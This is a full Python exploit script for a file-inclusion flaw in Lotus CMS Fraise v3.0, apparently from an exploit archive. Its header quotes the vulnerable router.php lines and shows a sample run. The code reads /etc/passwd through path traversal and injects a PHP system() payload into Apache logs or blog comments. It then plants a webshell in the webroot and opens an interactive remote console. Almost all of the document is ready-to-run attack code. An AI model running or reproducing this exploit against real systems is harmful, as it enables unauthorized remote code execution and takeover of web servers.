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Lotus CMS Fraise v3.0 LFI - Remote Code Execution Exploit
#!/usr/bin/python # Lotus CMS Fraise v3.0 LFI - Remote Code Execution Exploit # greetz Tecr0C :0) # # Vuln: lines 15-23 in core/lib/router.php #---------- sof # //Get page request (if any) # $page = $this->getInputString("page", "index"); # # //Get plugin request (if any) # $plugin = $this->getInputString("system", "Page"); # # //If there is a request for a plugin # if(file_exists("core/plugs/".$plugin."Starter.php")){ # //Include Page fetcher # include("core/plugs/".$plugin."Starter.php"); # --------- eof # # Additionally, the CMS allows an attacker to comment on blog posts which inturn will # write a file on the remote disk with possibly 'malicious' content inside. # # exploit includes: # - Proxy support # - Dynamic User-agent generation # - Apache access log and Lotus blog comment injection routines # - Custom shell creation and deletion # # Environment: # Apache 2.2.14/PHP 5.3.2 # php.ini -> magic_quotes_gpc = Off # # Example: # [mr_me@pluto lotuscms]$ python luckylotus.py -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/ # # | -------------------------------------------- | # | Lotus CMS v3.0 Remote Code Execution Exploit | # | by mr_me - net-ninja.net ------------------- | # # (+) Exploiting target @: 192.168.56.101/webapps/lotus/lcms/ # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Testing the file inclusion vulnerability.. file inclusion is working! # (+) Writing comment.. comment shell written sucessfully # (+) Writing webshell d8e8fca2dc0f896fd7cb4cb0031ba249.php to the webroot.. # (+) Entering interactive remote console (q for quit) # # mr_me@192.168.56.101# id # uid=33(www-data) gid=33(www-data) groups=33(www-data) # # mr_me@192.168.56.101# uname -a # Linux steve-ubuntu 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux # # mr_me@192.168.56.101# q import sys, urllib, urllib2, socket, re, base64, getpass from optparse import OptionParser from random import choice usage = "./%prog [<options>] -t [target] -d [directory path]" usage += "\nExample 1: ./%prog -l -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/" usage += "\nExample 2: ./%prog -c -i 1294585604 -p localhost:8080 -t 192.168.56.101 -d /webapps/lotus/lcms/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="dirPath", help="Directory path to the CMS") parser.add_option("-i", type="string", action="store", dest="blogPostId", help="Blog Post ID that will be injected") parser.add_option("-l", action="store_true", dest="logInject", help="Code execution via apache access log") parser.add_option("-c", action="store_true", dest="blogComInject", help="Code execution via Blog comments") (options, args) = parser.parse_args() def banner(): print "\n\t| -------------------------------------------- |" print "\t| Lotus CMS v3.0 Remote Code Execution Exploit |" print "\t| by mr_me - net-ninja.net ------------------- |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) # variables exploit = "index.php?system=" dDS = "../" * 10 nB = "%00" sName = "d8e8fca2dc0f896fd7cb4cb0031ba249" phpShell = "<?php system(base64_decode($_GET[a]));?>" cmd = "&a=" agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)", "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)", "Microsoft Internet Explorer/4.0b1 (Windows 95)", "Opera/8.00 (Windows NT 5.1; U; en)"] agent = choice(agents) def getProxy(): try: proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n(-) Proxy timed out" sys.exit(1) return proxy_handler def getServerResponse(exploit): if options.proxy: try: opener = urllib2.build_opener(getProxy()) opener.addheaders = [('User-agent', agent)] check = opener.open(exploit).read() except urllib2.HTTPError, error: check = error.read() pass else: try: req = urllib2.Request(exploit) req.addheaders = [('User-agent',agent)] check = urllib2.urlopen(req).read() except urllib2.HTTPError, error: check = error.read() pass return check def testFileInclusion(): sys.stdout.write("\n(+) Testing the file inclusion vulnerability.. ") sys.stdout.flush() testFile = "etc/passwd" response = getServerResponse("http://" + options.target + options.dirPath + exploit + dDS + testFile + nB) if re.findall("root:x:", response): sys.stdout.write("file inclusion is working! \n") sys.stdout.flush() else: sys.stdout.write("file inclusion failed..\n") sys.stdout.flush() print "(-) Exiting.." sys.exit(1) def writeDirtyLog(): sys.stdout.write("(+) Poisoning the access log.. ") sys.stdout.flush() su = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: su.connect((options.target,80)) except: print "(-) Failed sending the shell to target %s" % options.target junk = ("GET /hazStart"+phpShell+"hazEnd HTTP/1.1\r\nHost: "+options.target+"\r\nConnection: close\r\n\r\n") su.send(junk) su.close() sys.stdout.write("log poisoned!\n") sys.stdout.flush() def huntLogFiles(): foundLogs = [] logs = ["var/log/httpd/access_log", "var/log/httpd/error_log", "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "apache/logs/error.log", "apache/logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "var/log/apache2/access.log", "var/log/apache2/error.log", "var/log/apache2/access_log", "var/log/apache2/error_log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "logs/error.log", "logs/access.log", "etc/httpd/logs/acces_log", "etc/httpd/logs/acces.log", "etc/httpd/logs/error_log", "etc/httpd/logs/error.log", "var/www/logs/access_log", "var/www/logs/access.log", "usr/local/apache/logs/access_log", "usr/local/apache/logs/access.log", "var/log/apache/access_log", "var/log/apache/access.log", "var/log/access_log", "var/www/logs/error_log", "var/www/logs/error.log", "usr/local/apache/logs/error_log", "usr/local/apache/logs/error.log", "var/log/apache/error_log", "var/log/apache/error.log", "var/log/access_log", "var/log/error_log"] for log in logs: response = getServerResponse("http://"+options.target + options.dirPath + exploit + dDS + log + nB) if re.search("hazStart", response): print ("(+) Log file found @ location: %s" % (log)) foundLogs.append(log) return foundLogs def writeLogWebShell(logFiles): print ("(+) Writing webshell %s.php to the webroot.." % (sName)) cmd64 = base64.b64encode("echo \"<?php system(base64_decode(\$_GET['p'])); ?>\" > %s.php" % (sName)) for log in logFiles: response = getServerResponse("http://"+options.target + options.dirPath + exploit + dDS + log + nB + cmd + cmd64) def interactiveAttack(): print "(+) Entering interactive remote console (q for quit)\n" hn = "%s@%s# " % (getpass.getuser(), options.target) preBaseCmd = "" while preBaseCmd != 'q': preBaseCmd = raw_input(hn) cmd64 = base64.b64encode(preBaseCmd) cmdResp = getServerResponse("http://"+options.target + options.dirPath + sName + ".php?p=" + cmd64) print cmdResp # suicide rmShell = base64.b64encode("rm %s.php" % (sName)) cmdResp = getServerResponse("http://"+options.target + options.dirPath + sName + ".php?p=" + rmShell) def testProxy(): sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() opener = urllib2.build_opener(getProxy()) try: check = opener.open("http://www.google.com").read() except: check = 0 pass if check >= 1: sys.stdout.write("proxy is found to be working!") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) def writeDirtyComment(): sys.stdout.write("(+) Writing comment.. ") sys.stdout.flush() indexPage = "http://" + options.target + options.dirPath + "index.php" if options.proxy: try: values = {'do' : 'comment', 'id' : options.blogPostId, 'name' : phpShell, 'website' : 'findme', 'message' : 'm' , 'system' : 'Blog', 'post' : options.blogPostId } data = urllib.urlencode(values) proxyfier = urllib2.build_opener(getProxy()) proxyfier.addheaders = [('User-agent', agent)] check = proxyfier.open(indexPage, data).read() except: print "(-) Proxy connection failed" sys.exit(1) else: try: values = {'do' : 'comment', 'id' : options.blogPostId, 'name' : phpShell, 'website' : 'findme', 'message' : 'm' , 'system' : 'Blog', 'post' : options.blogPostId } data = urllib.urlencode(values) req = urllib2.Request(indexPage, data) req.addheaders = [('User-agent',agent)] check = urllib2.urlopen(req).read() except: print "(-) Target connection failed, check your address" sys.exit(1) sys.stdout.write("comment shell written sucessfully\n") sys.stdout.flush() def writeCommentWebShell(): print ("(+) Writing webshell %s.php to the webroot.." % (sName)) cmd64 = base64.b64encode("echo \"<?php system(base64_decode(\$_GET['p'])); ?>\" > %s.php" % (sName)) ws = "http://" + options.target + options.dirPath + exploit + "../../data/modules/Blog/data/comments/" ws += options.blogPostId + ".txt" + nB + cmd + cmd64 response = getServerResponse(ws) if __name__ == "__main__": banner() print "(+) Exploiting target @: %s" % (options.target+options.dirPath) if options.proxy: testProxy() testFileInclusion() if options.logInject: writeDirtyLog() dirtyLogs = huntLogFiles() if dirtyLogs > 0: writeLogWebShell(dirtyLogs) else: print "(-) No log files found working." sys.exit(1) elif options.blogComInject: if options.blogPostId: writeDirtyComment() writeCommentWebShell() else: print "(-) Missing Blog Post ID value. See the example.. exiting.." sys.exit(1) else: print "(-) Arguments not set correctly, see the example.. exiting.." sys.exit(1) interactiveAttack() # 0day.today [2024-09-12] #